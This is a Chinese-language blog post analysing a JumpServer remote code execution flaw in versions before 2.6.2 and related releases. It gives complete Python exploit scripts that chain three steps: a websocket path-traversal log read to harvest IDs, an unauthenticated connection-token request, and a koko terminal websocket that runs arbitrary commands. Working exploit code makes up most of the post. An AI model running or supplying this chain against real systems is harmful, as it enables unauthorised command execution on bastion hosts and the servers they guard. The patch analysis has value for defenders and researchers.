zoukankan      html  css  js  c++  java
  • JumpServer远程代码执行漏洞

    JumpServer远程代码执行漏洞

    影响版本

    JumpServer < v2.6.2  
    JumpServer < v2.5.4  
    JumpServer < v2.4.5   
    JumpServer = v1.5.9
    

    补丁分析

    https://github.com/jumpserver/jumpserver/commit/82077a3ae1d5f20a99e83d1ccf19d683ed3af71e

    第一个修复路径是 apps/authentication/api/auth.py

    删除了 get_permissions 函数,在该函数内如果带上了user-only参数,将会获得一个 AllowAny 的权限

    第二个修复路径是 apps/ops/ws.py
    这是一个websocket 连接端点,用来读取日志文件,修复方式是在connect函数内添加了身份认证代码。

    日志文件读取

    receive中获取到了task参数,传递给了read_log_file函数,期间task_id参数没有做检验

    get_celery_task_log_path限制了只能读log后缀的文件

    jumpserver的日志目录在/opt/jumpserver/logs/, 查看gunicorn.log日志,可以获取到user_id、asset_id、system_user_id

    获取日志

    import websocket
    #pip install websocket_client
    import json
    import sys
    import ssl
    try:
        import thread
    except ImportError:
        import _thread as thread
    
    def on_message(ws, message):
        print(json.loads(message)["message"])
    
    def on_error(ws, error):
        print(error)
    
    def on_close(ws):
        print("### closed ###")
    
    def on_open(ws):
        print("open")
        ws.send('{"task":"../../../../../../../../../../../opt/jumpserver/logs/gunicorn"}')
        #thread.start_new_thread(run, ())
    
    
    if __name__ == "__main__":
        websocket.enableTrace(True)
        ws = websocket.WebSocketApp("ws://"+sys.argv[1]+"/ws/ops/tasks/log/",
                                  on_message = on_message,
                                  on_error = on_error,
                                  on_close = on_close)
        ws.on_open = on_open
    #    ws.run_forever()
    
        ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE,"check_hostname": False})
        
    

    然后就是利用漏洞获取一个临时的token

    #-*- coding: utf-8 -*-
    import requests
    
    import json
    
    data={"user":"8b193d3b-905e-431c-bf4e-e54b79b9640b","asset":"45159f85-88bf-420e-ae70-85678d7eeaee","system_user":"9d76568c-075a-492a-a646-597b686de15c"}
    
    
    
    url_host='http://192.168.126.133'
    
    
    
    def get_token():
    
        url = url_host+'/api/v1/users/connection-token/?user-only=1'
    
        url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
    
        response = requests.post(url, json=data).json()
    
        print(response)
    
        ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
    
        print(ret.text)
    
    get_token()
    

    connection-token 接口是在koko go写的程序里使用的

    通过前面TokenAssetURL反向跟踪到processTokenWebsocket,再进一步跟踪到下面的代码,而且/elfinder, 和/terminal 都有认证校验,而/token 没有

    ws的token接口F12可以看到.

    把前面的token传入target_id就可以进入TTY执行命令了

    ws://192.168.126.133/koko/ws/token/?target_id=6af30d9a-d707-4c11-bf70-8fef5229fdda
    

    #-*- coding: utf-8 -*-
    import asyncio
    import websockets
    import requests
    import json
    
    url = "/api/v1/authentication/connection-token/?user-only=None"
    # 向服务器端发送认证后的消息
    async def send_msg(websocket,_text):
        if _text == "exit":
            print(f'you have enter "exit", goodbye')
            await websocket.close(reason="user exit")
            return False
    
        await websocket.send(_text)
    
        recv_text = await websocket.recv()
    
        print(f"{recv_text}")
    
    
    
    # 客户端主逻辑
    
    async def main_logic(cmd):
        print("#######start ws")
        async with websockets.connect(target) as websocket:
            recv_text = await websocket.recv()
            print(f"{recv_text}")
            resws=json.loads(recv_text)
            id = resws['id']
            print("get ws id:"+id)
            print("###############")
            print("init ws")
            print("###############")
            inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{"cols":164,"rows":17}"})
            print("inittext:"+inittext)
            await send_msg(websocket,inittext)
            for i in range(2):
                recv_text = await websocket.recv()
                print(f"{recv_text}")
            print("###############")
            print("exec cmd: ls")
            cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"
    "})
            print(cmdtext)
            await send_msg(websocket, cmdtext)
            for i in range(20):
                recv_text = await websocket.recv()
            #    print(f"{recv_text}")
                print(json.dumps(recv_text, sort_keys=True, indent=4))
            print('#######finish')
    
    if __name__ == '__main__':
        try:
            import sys
            host=sys.argv[1]
            cmd=sys.argv[2]
            if host[-1]=='/':
                host=host[:-1]
            print(host)
            data={"user":"8b193d3b-905e-431c-bf4e-e54b79b9640b","asset":"45159f85-88bf-420e-ae70-85678d7eeaee","system_user":"9d76568c-075a-492a-a646-597b686de15c"}
            print("##################")
            print("get token url:%s" % (host + url,))
            print("##################")
            res = requests.post(host + url, json=data)
            token = res.json()["token"]
            print("token:%s", (token,))
            print("##################")
            target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
            print("target ws:%s" % (target,))
            asyncio.get_event_loop().run_until_complete(main_logic(cmd))
        except:
            print("python jumpserver.py http://192.168.1.73 whoami")
    
    
  • 相关阅读:
    解决执行sql脚本报错:没有足够的内存继续执行程序。
    正则表达式学习
    art-template模板引擎循环嵌套
    textarea 设置最长字数和显示剩余字数
    display:table-cell
    js 发送 ajax 是数组 后台循环 发送json 到前台的方法
    js 函数内数据调用
    Angular 原文输出
    Angular 路由跳转
    JQ 按钮实现两种功能
  • 原文地址:https://www.cnblogs.com/jiancanxuepiao/p/14301403.html
Copyright © 2011-2022 走看看